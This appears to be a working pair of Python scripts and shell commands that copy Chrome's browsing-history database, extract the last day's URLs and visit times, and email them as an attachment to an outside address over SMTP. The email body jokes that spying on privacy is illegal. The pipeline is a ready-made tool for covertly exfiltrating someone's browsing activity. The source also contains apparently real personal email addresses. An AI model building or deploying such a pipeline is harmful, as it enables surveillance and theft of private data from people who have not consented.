# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件執行的需要的參數(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一個郵件地址和郵件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#連接服務器(這里大家好改成自己的！)
from_addr = "771568102@qq.com" #發件人郵箱
password = "xxxxxxxx" #發件人郵箱授權碼
to_addr = "2160802033@cnu.edu.cn" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP服務器地址

#郵件發件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風一樣的女子 <%s>' % from_addr)
msg['To'] = _format_addr('風一樣的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()

# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的啊！', 'plain', 'utf-8'))

# 添加附件就是加上一個MIMEBase，從本地讀取一個txt文件:
with open(args.affix_file, 'r') as f:
  # 設置附件的MIME和文件名，這里是py類型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的頭信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的內容讀進來:
  mime.set_payload(f.read())
  # 用Base64編碼:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通過SMTP發送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.連接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.選取我們想要的網址和訪問時間
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.將網址和訪問時間存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt